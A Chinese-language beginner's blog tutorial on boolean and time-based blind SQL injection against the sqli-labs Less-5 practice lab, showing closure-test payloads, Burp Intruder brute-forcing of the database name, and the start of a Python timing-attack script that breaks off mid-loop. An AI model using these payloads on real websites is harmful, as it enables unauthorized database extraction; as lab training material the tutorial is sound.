有回显但是没有回显数据库内容(小白篇)
(建议小白们看着源码做着题,做上一两道感觉懂原理了可以脱离源码去进行黑盒测试(有源码容易判断怎样闭合的,进而可以进行下一步操作),当然,我也是小白,大佬别骂QAQ,文章末尾附bp抓包工具)
PS:
如返回为Ture
(上图为图-1.1)
如返回为False
(上图为图-1.2)
像上面这种情况联合查询就没法用了,因为联合查询就是为了可视化的看到数据库里面的字段名等
eg:
但是有回显但是没有具体回显如图类似的,联合注入就没法用了,这时候就要换一种思路了,可以通过判断为真和为假的差异来进一步进行操作
判断注入闭合:
判断注入点是怎样闭合的需要进行不断的尝试
http://127.0.0.1/Less-5/?id={sql语句}
//在sql语句这里构造payload,首先判断闭合,闭合语句=={sql语句}直接替换然后请求就可以
//判断闭合sql语句:
?id=1'
?id=1'---aa
?id=1"
?id=1" --+
?id=1' and 1=1/1=2--+
?id=1' and '1'='1/'1'='2--+
就举这些例子,其他的可以自行尝试,或去各大论坛取经
通过判断闭合,确定闭合方式是?id=1'--+
单引号闭合,sql查询语句可能就是:
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
然后就可以向后进行了,注意一点,这里是布尔盲注,回显只有两种,结果为真回显一个界面,结果为假回显一个界面,但有且只有这两种情况,这里不能像之前一样正常使用注入语句了,因为没有数据库内容的回显,所以这里需要使用length()方法来判断数据库名的长度,用substr()函数来尝试出数据库名(注:这里手动挡的话太麻烦,可以借助bp爆破模块进行字符爆破,如果手动判断可以使用length、ascii()、substr()等函数来逐字判断 如果为真,回显页面显示You are in,如果为假则会无回显,如图1.1与1.2所示QAQ~)
演示:
substr()方法结合bp实现爆破数据库名(只举例爆破数据库名,前提要确定数据库名长度。使得爆破数据库名更精确,这里数据库长度已经确定,方法和这个方式差不多,上面也有介绍):
1.转发到爆破模块,选中爆破区间
2.配置payload
3.开始发包
4.判断回显长度差异(Length值)
判断出了数据库名第一个字符是's',剩下8位字符就按这个方式爆破,无回显基本思路就是这样,当然也可以使用脚本梭哈,但是需要根据不同场景修改脚本,下面附上python脚本(脚本源自网络,稍微修改过,如有侵权,请及时联系作者下架):
from colorama import Fore, init
import requests
import time
import datetime
#获取数据库长度
def database_len():
init(autoreset=True)
print(f' 33[5;32m正在爆破数据库信息,请等待~ 33[0m')
for i in range(1,10):
payload = "?id=1' and if(length(database())>%s,sleep(4),0)--+"%i
url1 = url +payload
#print(url1)
time1 =datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3 = (time2-time1).total_seconds() #计算时间差, 忽略天 只看时分秒 total_seconds() 真正的时间差 包含天
print(f' 33[0;35m数据库长度为:{i}
评论